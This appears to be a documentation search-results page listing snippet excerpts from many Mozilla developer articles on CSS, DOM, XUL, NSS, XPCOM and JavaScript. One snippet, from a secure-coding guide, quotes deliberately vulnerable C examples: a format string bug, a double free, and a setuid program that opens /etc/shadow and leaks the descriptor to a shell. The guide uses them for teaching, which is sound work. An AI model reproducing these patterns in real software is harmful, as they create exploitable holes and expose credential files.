editor's note: when adding features to these tables, please try to include a link to the relevant bug or bugs using the bug macro: {{bug(bug-number)}}.
... nightly 75 no developer edition 75 no beta 75 no release 75 no preference name layout.css.conic-gradient.enabled and gfx.webrender.all pseudo-class: :focus-visible allows focus styles to be applied to elements like buttons and form controls, only when they are focused using the keyboard (e.g.
... when tabbing between elements), and not when they are focused using a mouse or other pointing device.
...And 6 more matches
Leak-hunting strategies and tips
strategy for finding leaks when trying to make a particular testcase not leak, i recommend focusing first on the largest object graphs (since these entrain many smaller objects), then on smaller reference-counted object graphs, and then on any remaining individual objects or small object graphs that don't entrain other objects.
...leaking many copies of a string could be a very large leak, but the object graphs are small and easy to identify using gc-based leak detection.) what leak tools do we have?
...--jesse) dropping a reference on the floor by: forgetting to release (because you weren't using nscomptr when you should have been): see bug 99180 or bug 93087 for an example or bug 28555 for a slightly more interesting one.
...And 6 more matches
Power profiling overview
intel processor basics processor layout the following diagram (from the intel power governor documentation) shows how machines using recent intel processors are constructed.
...and many tools report c-states using the latter names.
... the exact relationship is confusing, and chapter 13 of the intel optimization manual has more details.
...And 6 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
for information on how to do this, see using the jar installation manager to install a pkcs #11 cryptographic module.
...nss continues to evolve, and periodically enhances it's functionality by using a more complete list of pkcs #11 functions.
...nss is perfectly capable of using token certificates in place.
...And 6 more matches
Querying Places
// |query| and |options| are objects created in the previous section query.setparents([placesutils.bookmarks.toolbarguid], 1); let result = placesutils.history.executequery(query, options); serializing queries query and options objects can be serialized into a string starting with "place:" using queriestoquerystring.
...the original objects can be deserialized from the string using querystringtoqueries.
... using the results the most common way to use results is to implement a view.
...And 6 more matches
XPCOM array guide
MozillaTechXPCOMGuideArrays
note that this class differs from the other array types by using unsigned indices.
... nstptrarray<t> and nsautotptrarray<t> - similar to using t* with the above arrays, but also provides a safeelementat() accessor.
... an nsiarray implementation can be created from c++ or javascript using nsicomponentmanager.createinstance() and the contract id "@mozilla.org/array;1".
...And 6 more matches
XPCOM changes in Gecko 2.0
starting in gecko 2, however, components are registered using manifest files, similarly to how chrome is registered.
...xpt files the path of any xpt files must be listed explicitly in a manifest using an interfaces directive: interfaces components/mycomponent.xpt javascript components the registration information for javascript components is no longer located in the component itself; instead, it's located in the manifest.
...*/ if (xpcomutils.generatensgetfactory) var nsgetfactory = xpcomutils.generatensgetfactory([mycomponent]); else var nsgetmodule = xpcomutils.generatensgetmodule([mycomponent]); binary components binary components must be listed explicitly in a manifest using a binary-component directive: binary-component components/mycomponent.dll c++ in the component must be changed: a binary component no longer exports a nsgetmodule() function.
...And 6 more matches
nsIAnnotationService
do not set favicons using this service, it will not work.
... binary annotations should be set using setitemannotationbinary() or setpageannotationbinary().
...do not set favicons using this service, it will not work.
...And 6 more matches
Reference Manual
such a cast can easily by-pass nscomptrs machinery, causing leaks, type mismatches, and other calamities.
...here is a sample demonstrating the various positions these `annotations' can appear in, using dont_addref // controlling assignment into an |nscomptr|...
...nscomptr<nsifoo> foo( dont_queryinterface(afooptr) ); // or foo = dont_queryinterface(afooptr); by using this form, you are promising that the pointer you are assigning in is already a pointer to the xpcom-correct interface matching the nscomptrs underlying type, in this case, nsifoo.
...And 6 more matches
Animating CSS properties - Firefox Developer Tools
compared with animating elements using javascript, css animations can be easier to create.
... an example: margin versus transform in this section we'll see how the waterfall can highlight the difference between animating using margin and animating using transform.
... the intention of this scenario isn't to convince you that animating using margin is always a bad idea.
...And 6 more matches
Introduction to the DOM - Web APIs
many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different doms.
... the modern dom is built using multiple apis that work together.
...every element in a document—the document as a whole, the head, tables within the document, table headers, text within the table cells—is part of the document object model for that document, so they can all be accessed and manipulated using the dom and a scripting language like javascript.
...And 6 more matches
RTCPeerConnection - Web APIs
ce specifies a function to be called when the signalingstatechange event occurs on an rtcpeerconnection interface.ontrack the rtcpeerconnection property ontrack is an eventhandler which specifies a function to be called when the track event occurs, indicating that a track has been added to the rtcpeerconnection.methodsalso inherits methods from: eventtargetaddicecandidate()when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().addstream() the obsolete rtcpeerconnection method addstream() adds a mediastream as a local source of audio or video.
... instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer.addtrack()the rtcpeerconnection method addtrack() adds a new media track to the set of tracks which will be transmitted to the other peer.close() the rtcpeerconnection.close() method closes the current peer connection.createanswer() the createanswer() method on the rtcpeerconnection interface creates an sdp answer to an offer received from a remote peer during the offer/answer negotiation of a webrtc connection.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
...And 6 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
this syntax is not recommended for the same reasons that make using eval() a security risk.
... polyfill if you need to pass one or more arguments to your callback function, but need it to work in browsers which don't support sending additional arguments using either settimeout() or setinterval() (e.g., internet explorer 9 and below), you can include this polyfill to enable the html5 standard arguments-passing functionality.
...and as shown below, using call to set this doesn't work either.
...And 6 more matches
ARIA: textbox role - Accessibility
whenever possible, rather than using this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input.
...instead of using aria-placeholder, use the semantic <input type="text"> or <textarea> with a placeholder attribute.
...instead of using aria-readonly, use the semantic <input type="text"> or <textarea> with a readonly attribute.
...And 6 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
in this article we will take a look at ways in which you can change the visual order of your content when using flexbox.
... if you are using a reverse value, or otherwise reordering your items, you should consider whether you actually need to change the logical order in the source.
...if you change the order using flex-direction you can see how the tab order continues to follow the order that the items are listed in the source.
...And 6 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
css grid layout has the following features: fixed and flexible track sizes you can create a grid with fixed track sizes – using pixels for example.
...you can also create a grid using flexible sizes with percentages or with the new fr unit designed for this purpose.
... item placement you can place items into a precise location on the grid using line numbers, names or by targeting an area of the grid.
...And 6 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
given the flexibility of svg images, there's a lot to keep in mind when using them as background images with the background-image property, and even more to keep in mind when also scaling them using the background-size property.
... this article describes how scaling of svg images is handled when using these properties.
... source image examples before diving in to look at the results of using different kinds of source images and seeing how they look when used with background-size, it would be helpful to look at a few example source images that have different dimensions and sizing settings.
...And 6 more matches
background-size - CSS: Cascading Style Sheets
%; background-size: auto 6px; background-size: auto auto; /* multiple backgrounds */ background-size: auto, auto; /* not to be confused with `auto auto` */ background-size: 50%, 25%, 25%; background-size: 6px, auto, contain; /* global values */ background-size: inherit; background-size: initial; background-size: unset; the background-size property is specified in one of the following ways: using the keyword values contain or cover.
... using a width value only, in which case the height defaults to auto.
... using both a width and a height value, in which case the first sets the width and the second sets the height.
...And 6 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
using the display property we can switch between block and inline.
...if you create a flex container using the single value of inline-flex you will have an inline-level box with flex children.
...using display: grid will give you a block-level box, which creates a grid formatting context for the direct children.
...And 6 more matches
Live streaming web audio and video - Developer guides
key differences between streamed and static media in this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or webm file.
...using rtp with rtcp allows for adaptive streaming.
... using streaming protocols the process of using the various protocols is reassuringly familiar if you are used to working with media over http.
...And 6 more matches
Audio and video manipulation - Developer guides
y = (frame.data[i * 4 + 0] + frame.data[i * 4 + 1] + frame.data[i * 4 + 2]) / 3; frame.data[i * 4 + 0] = grey; frame.data[i * 4 + 1] = grey; frame.data[i * 4 + 2] = grey; } this.ctx1.putimagedata(frame, 0, 0); return; } }; once the page has loaded you can call processor.doload() result this is a pretty simple example showing how to manipulate video frames using a canvas.
... for efficiency, you should consider using requestanimationframe() instead of settimeout() when running on browsers that support it.
... playback rate we can also adjust the rate that audio and video plays at using an attribute of the <audio> and <video> element called playbackrate.
...And 6 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
you can retrieve this using the htmlinputelement.value property in javascript.
... if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
... note: avoid using the placeholder attribute if you can.
...And 6 more matches
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient.
... if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
... note: avoid using the placeholder attribute if you can.
...And 6 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
... note: avoid using the placeholder attribute if you can.
...as a general rule, you should avoid using them unless it can't be helped.
...And 6 more matches
Closures - JavaScript
run the code using this jsfiddle link and notice that the alert() statement within the displayname() function successfully displays the value of the name variable, which is declared in its parent function.
...one way of doing this is to specify the font-size of the body element (in pixels), and then set the size of the other elements on the page (such as headers) using the relative em unit: body { font-family: helvetica, arial, sans-serif; font-size: 12px; } h1 { font-size: 1.5em; } h2 { font-size: 1.2em; } such interactive text size buttons can change the font-size property of the body element, and the adjustments are picked up by other elements on the page thanks to the relative units.
... document.getelementbyid('size-12').onclick = size12; document.getelementbyid('size-14').onclick = size14; document.getelementbyid('size-16').onclick = size16; <a href="#" id="size-12">12</a> <a href="#" id="size-14">14</a> <a href="#" id="size-16">16</a> run the code using jsfiddle.
...And 6 more matches
JavaScript data types and data structures - JavaScript
the indeed proper way to check what sort of object we are using is instanceof keyword.
... starting with ecmascript 2015, you are also able to check if a number is in the double-precision floating-point number range using number.issafeinteger() as well as number.max_safe_integer and number.min_safe_integer.
... caution: although bitwise operators can be used to represent several boolean values within a single number using bit masking, this is usually considered a bad practice.
...And 6 more matches
Indexed collections - JavaScript
let wisenarray = array.of(9.3) // wisenarray contains only one element 9.3 referring to array elements because elements are also properties, you can access the using property accessors.
...rr[3.4] = 'oranges' console.log(arr.length) // 0 console.log(arr.hasownproperty(3.4)) // true you can also populate an array when you create it: let myarray = new array('hello', myvar, 3.14159) // or let myarray = ['mango', 'apple', 'orange'] understanding length at the implementation level, javascript's arrays actually store their elements as standard object properties, using the array index as the property name.
...lement) }) // first // second // fourth if (array[2] === undefined) { console.log('array[2] is undefined') // true } array = ['first', 'second', undefined, 'fourth'] array.foreach(function(element) { console.log(element) }) // first // second // undefined // fourth since javascript elements are saved as standard object properties, it is not advisable to iterate through javascript arrays using for...in loops, because normal elements and all enumerable properties will be listed.
...And 6 more matches
Functions - JavaScript
the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
... as all other objects, function objects can be created using the new operator: new function (arg1, arg2, ...
... invoking the function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
...And 6 more matches
Localization - Archive of obsolete content
using localized strings in html this example uses the action button api, which is only available from firefox 29 onwards.
... the string is inserted as text, so you can't insert html using a statement like: # does not work.
...ments with an l10n-id by setting its value with l10n-id.attributename in the properties file like: hello_id.accesskey= h the following attributes are supported: accesskey alt label title placeholder further the localization of the aria attributes aria-label, aria-valuetext and aria-moz-hint are supported with the same aliases as on firefox os: arialabel ariavaluetext ariamozhint using localized strings in javascript to reference localized strings from your main add-on code, you do this: var _ = require("sdk/l10n").get; console.log(_("hello_id")); assigning to "_" in particular is not required, but is a convention from the gettext tools and will make it possible to work with existing tools that expect "_" to indicate localizable strings.
...And 5 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
so i'm very familiar with standards and the benefits of using them.
...we've noted that some of the file size comparison's aren't necessarily fair, because we're not comparing apples to apples-- we're comparing an old design using html, tables, and spacer gifs to a new design much richer in imagery and style.
...until this redesign, wired news wasn't even using css to style the content inside tables.
...And 5 more matches
Binding Implementations - Archive of obsolete content
introduction bindings can define methods and properties on a bound element using the implementation tag.
... the methods and properties of an implementation can be defined declaratively using method and property tags in xml, or an external implementation (e.g., a binary implementation) can be specified using the src attribute.
... methods methods are defined using the method element.
...And 5 more matches
MenuItems - Archive of obsolete content
a shortcut key can be created using the key element.
... <keyset> <key id="open-key" modifiers="accel" key="o"/> <key id="close-key" modifiers="accel" key="c"/> </keyset> <menubar> <menu label="view"> <menupopup> <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuitems are associated with a key using the key attribute.
...for the "open" item in this example, this command can be invoked by using the "accel" modifier key and pressing 'o'.
...And 5 more matches
Menus - Archive of obsolete content
menu types a menu is created using the menupopup tag.
... the menubar element a menu bar is created by using the xul menubar tag.
... the label for the menu element is specified using the label attribute.
...And 5 more matches
Tooltips - Archive of obsolete content
note that tooltips can only be activated using the mouse, so they should never contain important information that isn't available elsewhere.
... the tooltip element tooltips are displayed using a tooltip element, which is a type of popup, but is styled to look different.
... the tooltip can be created using the tooltip element, the contents of which appear inside the tooltip.
...And 5 more matches
Popup Guide - Archive of obsolete content
a menu is created using the menupopup element.
... a panel is created using the panel element.
... a tooltip can be created by setting the tooltiptext attribute on an element or by using the tooltip element.
...And 5 more matches
Adding Event Handlers - Archive of obsolete content
using scripts to make the find files dialog functional, we need to add some scripts which will execute when the user interacts with the dialog.
...we write this using javascript functions much in the same way as html.
... you can include multiple scripts in a xul file by using multiple script tags, each pointing to a different script.
...And 5 more matches
Focus and Selection - Archive of obsolete content
you can also add event handlers dynamically using the dom function addeventlistener.
...you can retrieve the command dispatcher from a window using the document's commanddispatcher property.
...this is because xul text boxes are implemented using the html input widget, so the focus event is received for that element instead.
...And 5 more matches
Manifest Files - Archive of obsolete content
if you just want to try testing privileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a new directory somewhere.
...this can be either a local file path using a file url or a jar archive using a jar url, which will be described in a moment.
...for standalone applications, they can be packaged up using xulrunner.
...And 5 more matches
Modifying a XUL Interface - Archive of obsolete content
creating new elements you can create new elements using the createelement() function of the document.
...you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function.
... addbutton() then assigns the label 'a new button' to the button using the setattribute() function.
...And 5 more matches
XUL Structure - Archive of obsolete content
by accessing a file using a chrome url, the files receive elevated privileges to access local files, access preferences and bookmarks and perform other privileged operations.
...these packaged files can be created by using a zip utility.
...the extension will hook into the browser using a xul specific feature called an overlay which allows the xul from the extension to mesh with the xul in the browser.
...And 5 more matches
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
overview recent versions of mozilla include an extension for writing plugins that use xembed instead of using the old xt-based mainloop that most plugins have been using since the netscape 3.x days.
...key differences all of the interfaces that you would normally expect to exist in the plugins will still exist when using xembed plugins.
... hosting using gtk2.x included below are a couple of code snippits that should help you get started as well as some hints on building a successful plugin.
...And 5 more matches
Date.prototype.toLocaleFormat() - Archive of obsolete content
the non-standard tolocaleformat() method converts a date to a string using the specified formatting.
... return value a string representing the given date using the specified formatting.
...names for months and days of the week are localized using the operating system's locale.
...And 5 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code communicate with each other.
...for example, you can create a java string object and assign it to the javascript variable mystring by using the new operator with the java constructor, as follows: var mystring = new java.lang.string("hello world"); in the previous example, the variable mystring is a javaobject because it holds an instance of the java object string.
...(although this functionality (along with some others) had been broken in gecko 1.9 (see bug 391642) as the mozilla-specific liveconnect code had not been maintained inside mozilla, with java 6 update 11 and 12 building support for reliance on mozilla's implementation of the generic (and cross-browser) npapi plugin code, this has again been fixed.) for example, suppose you are using the java forname method to assign the name of a java class to a variable called theclass.
...And 5 more matches
Reference - Archive of obsolete content
i also just read a document on proper inheritance using apply().
...--maian 01:43, 30 september 2005 (pdt) we should define the terms we are using.
...sevenspade 13:19, 2 july 2006 (pdt) after some thought, i removed the references to using language="javascript1.2", and all references are merely presented as information detailing past behavior.
...And 5 more matches
Plug-in Development Overview - Gecko Plugin API Reference
for information about the html elements to use, see using html to display plug-ins.
... to determine the mime types and file extensions that the plug-in handles, the browser normally uses the content of the registry entries for the plug-in described below in installation using the registry.
... working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp.
...And 5 more matches
What is accessibility? - Learn web development
we traditionally think of this as being about people with disabilities, but the practice of making sites accessible also benefits other groups such as those using mobile devices, or those with slow network connections.
...see our cross-browser testing screen readers guide for more details on using them.
... the way this usually affects web development work is the requirement that controls be accessible by the keyboard — we'll discuss keyboard accessibility in later articles in the module, but it is a good idea to try out some websites using just the keyboard to see how you get on.
...And 5 more matches
Debugging CSS - Learn web development
in order to do so i'll be using an example file.
... you can use this to do an a/b comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.
... the following video provides some useful tips on debugging css using the firefox devtools: editing values in addition to turning properties on and off, you can edit their values.
...And 5 more matches
Practical positioning examples - Learn web development
note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascript feature such as xmlhttprequest.
... the idea here is that we will style the tabs to look like a standard horizontal navigation menu, and style the panels to sit on top of one another using absolute positioning.
... next, add the following just below your previous css: .info-box { width: 450px; height: 400px; margin: 0 auto; } this sets a specific width and height on the content, and centers it on the screen using the old margin: 0 auto trick.
...And 5 more matches
Sending forms through JavaScript - Learn web development
using a standalone formdata object.
... using formdata bound to a <form> element.
... using xmlhttprequest and the formdata object building an http request by hand can be overwhelming.
...And 5 more matches
Choosing the right approach - Learn web development
refer to the reference documentation for the api you're using for more specific support info.
...universe!'); }, 2000) pitfalls you can use recursive settimeout() calls to run a function repeatedly in a similar fashion to setinterval(), using code like this: let i = 1; settimeout(function run() { console.log(i); i++; settimeout(run, 100); }, 100); there is a difference between recursive settimeout() and setinterval(): recursive settimeout() guarantees at least the specified amount of time (100ms in this example) will elapse between the executions; the code will run and then wait 100 milliseconds before it runs again.
... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes no (unless it is the same one) no code example the following function creates a new date() object, extracts a time string out of it using tolocaletimestring(), and then displays it in the ui.
...And 5 more matches
Mozilla accessibility architecture
the toolkit-specific classes then use these xpcom interfaces to gather information about the objects they want to expose, make any necessary changes, and then expose the information using microsoft com on windows, or through gtk2's atk api's on linux and unix.
...the assistive technology can choose to get the entire tree by using a depth- or breadth- first search, it can choose to get accessibles only based on events like focus, or it can get the accessible at a given point on the screen.
...the atk has more convenience methods than msaa does for traversal - for example it is possible to go straight to the accessible for a specific row and column of a table, using nsiaccessibletable::cellrefat().
...And 5 more matches
Obsolete Build Caveats and Tips
from firefox 10, the compilator is visual studio 2010; if you want to use it, you must use a previous version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs.
...if you're using visual studio, go to project properties > c/c++ > language > treat wchar_t as built-in type and set it to "yes".
...try to avoid using it.
...And 5 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
if end users input non-ascii characters as part of a domain name or if a web page contains a link using a non-ascii domain name, the application must convert such input into a special encoded format using only the usual ascii subset characters.
... ascii-compatible encoding (ace) the next step is to convert the 8-bit characters in unicode to 7-bit ones using only restricted ascii characters.
...this makes it possible for netscape 7.1/mozilla 1.4 users to access japanese host names under .jp top domain without any additional setup using just the built-in idn functionality.
...And 5 more matches
CustomizableUI.jsm
areas are registered using the registerarea method and unregistered using the unregisterarea method.
... note that ideally, you should register your toolbar using registerarea before any of the toolbars have their xbl bindings constructed (which will happen when they're added to the dom and are not hidden).
...this is roughly equivalent to manually looking up the position and using insertitem in the old api, but a lot less work for consumers.
...And 5 more matches
Profiling with the Firefox Profiler
using the firefox profiler visit profiler.firefox.com to get started.
... symbols for try builds are not uploaded to the symbol server automatically, you need to trigger a "sym" job on treeherder: using treeherder's add new jobs ui, schedule a "sym" job for each platform whose "b" job you want symbols for.
... then capture the profile using the add-on as usual.
...And 5 more matches
JSS Provider Notes
it implements cryptographic operations in native code using the nss libraries.
...if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk.
... if you build jss yourself from source instead of using binaries downloaded from mozilla.org, your jar file will not have a valid signature.
...And 5 more matches
Mozilla-JSS JCA Provider notes
it implements cryptographic operations in native code using the nss libraries.
...if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk.
... if you build jss yourself from source instead of using binaries downloaded from mozilla.org, your jar file will not have a valid signature.
...And 5 more matches
Enc Dec MAC Output Public Key as CSR
""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* map option letter enumerated commad type */ static commandtype option2command(const char* c) { switch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(sizeof(secitem)); if (!data) { pr_fprintf(pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } data->len = seckey_publickeystrength(pubkey); data->data = (unsigned char*)...
...ull) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using previously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ...
... if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) goto cleanup; ctxenc = decryptinit(ek, iv, ivlen, ckm_aes_cbc); while ((ctextlen = pr_read(infile, ctext, sizeof(ctext))) > 0) { count += ctextlen; /* decrypt cipher text buffer using cbc and iv */ rv = decrypt(ctxenc, decbuf, &decbuflen, sizeof(decbuf), ctext, ctextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "decrypt failure\n"); goto cleanup; } if (decbuflen == 0) break; rv = macupdate(ctxmac, decbuf, decbuflen); if (rv != secsuccess) { goto cleanup; } if (count =...
...And 5 more matches
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
... as an alternative to token symmetric keys as a way to store large numbers of symmetric keys wrapping symmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair.
...the primary host wraps the newly generated key using the // rsa key and stores the wrapped key data in a local file.
...And 5 more matches
Python binding for NSS
all nss/nspr python objects can print their current value by evaluting the python object in a string context or by using the python str() function.
...it is suggested python developers using python-nss periodically run their code with deprecation warnings enabled.
... mozilla source code management (scm) information on march 21, 2013 the nss project switched from using cvs as it's source code manager (scm) to mercurial, also known as hg.
...And 5 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
...for information security module database management, see using the security module database tool.
... when you delete keys, be sure to also remove any certificates associated with those keys from the certificate database, by using -d.
...And 5 more matches
Tutorial: Embedding Rhino
this document will link to them using lxr.
... in this document: runscript: a simple embedding entering a context initializing standard objects collecting the arguments evaluating a script printing the result exiting the context expose java apis using java apis implementing interfaces adding java objects using javascript objects from java using javascript variables calling javascript functions javascript host objects defining host objects counter example counter's constructors class name dynamic properties defining javascript "methods" adding counter to runscript runscript: a simple embedding about the simpl...
... expose java apis using java apis no additional code in the embedding needed!
...And 5 more matches
Scripting Java
we can also aid our java development by using scripting for exploratory programming.
...for example, we could import all of the classes in the java.io package and access class java.io.file using just the name file: js> importpackage(java.io) js> file [javaclass java.io.file] here importpackage(java.io) makes all the classes in the java.io package (such as file) available at the top level.
...age name with "packages." for example, to import the org.mozilla.javascript package you could use importpackage() as follows: $ java org.mozilla.javascript.tools.shell.main js> importpackage(packages.org.mozilla.javascript); js> context.currentcontext; org.mozilla.javascript.context@bb6ab6 occasionally, you will see examples that use the fully qualified name of the package instead of importing using the importpackage() method.
...And 5 more matches
Bytecode Descriptions
surprisingly, it's not possible to get the right behavior using jsop::add and jsop::sub alone.
... funwithproto operands: (uint32_t funcindex) stack: proto ⇒ obj like jsop::lambda, but using proto as the new function's [[prototype]] (or %functionprototype% if proto is null).
...this can be ensured by creating the array with jsop::newarray and populating it using jsop::initelemarray.
...And 5 more matches
JIT Optimization Strategies
the function containing the arguments.length is allowed to use the arguments object in the following ways without disabling this optimization: access arguments.length access arguments.callee access individual args using arguments[i] save arguments into variables, as long as those variables cannot be accessed by any nested function, and as long as there exists no eval anywhere within the function or nested function definitions.
... call a function using f.apply(obj, arguments) if the function contains any use of the arguments object that falls out of the cases defined above, this optimization will be suppressed.
...the function containing the arguments.callee is allowed to use the arguments object in the following ways without disabling this optimization: access arguments.length access arguments.callee access individual args using arguments[i] save arguments into variables, as long as those variables cannot be accessed by any nested function, and as long as there exists no eval anywhere within the function or nested function definitions.
...And 5 more matches
Redis Tips
this document is a collection of some examples and tips for using redis, the open-source data structure server.
... here's an example, again using two separate redis clis, to show how it works.
... redis> get foo (nil) redis> ttl foo (integer) -1 using expire you set an expiration in seconds from the present.
...And 5 more matches
Secure Development Guidelines
introduction provide developers with information on specific security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modified using call...
... bbv: prevention check the bounds of your arrays use a safe and well-designed api when using integers as array indexes, use caution format string bugs example: int main(int argc, char *argv[]) { if (argc > 1) printf(argv[1]); } format string bugs: prevention easy to fix: always use a format string specifier: int main(int argc, char *argv[]) { if (argc > 1) printf("%s", argv[1]); } double free example: void* ptr = malloc(1024); if (error) { free(ptr); ...
...s and handles could be a race if instances of fh are shared between threads fh inheritence: default in unix, needs to be set in windows int main(int argc, char **argv, char **envp) { int fd = open("/etc/shadow", o_rdwr); setreuid(getuid(), getuid()); excve("/bin/sh", argv, envp); } suid root applications file i/o: file descriptors and handles potential overflows when using select fd_set struct, static length, holds a bitmask of fds manipulated with fd_set, fd_isset, fd_clr and fd_zero macros fd_set’s size depends on the operating system if the os allows opening more fds, then fd_set can hold could overflow fd_set file i/o: file descriptors and handles good solution: dynamically allocate fd_set structs int main(void) { int i, fd; fd_set fdset; ...
...And 5 more matches
How to build an XPCOM component in JavaScript
you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components.
...the compilation can be done using the gecko sdk.
... dom api module = dom # name of the typelib xpidl_module = dom_apps # set to 1 if the module should be part of the gecko runtime common to all applications gre_module = 1 # the idl sources xpidlsrcs = \ helloworld.idl \ $(null) include $(topsrcdir)/config/rules.mk xpidl_flags += \ -i$(topsrcdir)/dom/interfaces/base \ -i$(topsrcdir)/dom/interfaces/events \ $(null) creating the component using xpcomutils in firefox 3 and later you can use import xpcomutils.jsm using components.utils.import to simplify the process of writing your component slightly.
...And 5 more matches
An Overview of XPCOM
using xpcom, developers create components that can be reused in different applications or that can be replaced to change the functionality of existing applications.
...using a freely available public initialization method, as the example below suggests, can cause problems.
... when you implement the nsisupports class (and you'll see in the chapter using xpcom utilities to make things easier how macros can make this process much easier), you must make sure the class methods return a valid result when the client calls queryinterface with the nsisupports iid.
...And 5 more matches
Finishing the Component
using frozen interfaces the core functionality of blocking sites is still missing, however.
...this puts you in the same situation as many developers using mozilla - you want to use some specific functionality, but the interfaces seem to change on a daily basis.
... the danger of using unfrozen interfaces suppose that you need to use the interface nsifoo that isn't frozen.
...And 5 more matches
Components.utils.Sandbox
creating a sandbox to create a new sandbox, call components.utils.sandbox: var sandbox = components.utils.sandbox(principal[, options]); using new components.utils.sandbox(...) to create a sandbox has the same effect as calling sandbox(...) without new.
... system principal to specify the system principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); content principal you can specify a content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, such as that returned by the dom window property as a string uri like "http://www.example.com/" (discourage...
...d) when possible, specify a window or an nsiprincipal object instead of using a string uri.
...And 5 more matches
XPCOM
accessing the windows registry using xpcomwhen implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs.
...here is how to make the same component in python using pyxpcom.fun with xbl and xpconnectgenerating guidsguids are used in mozilla programming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
...here is the interface, and a description of its use.</t>how to build a binary xpcom component using visual studiothis is a simple tutorial for building xpcom objects in c++ using visual studio.
...And 5 more matches
XPIDL
constants are emitted in header files using anonymous enums, although there is an outstanding patch that combines adjacent constants into the same anonymous enums to quiet enum mismatch warnings.
... interfaces specifying interfaces is the primary purpose of using xpidl.
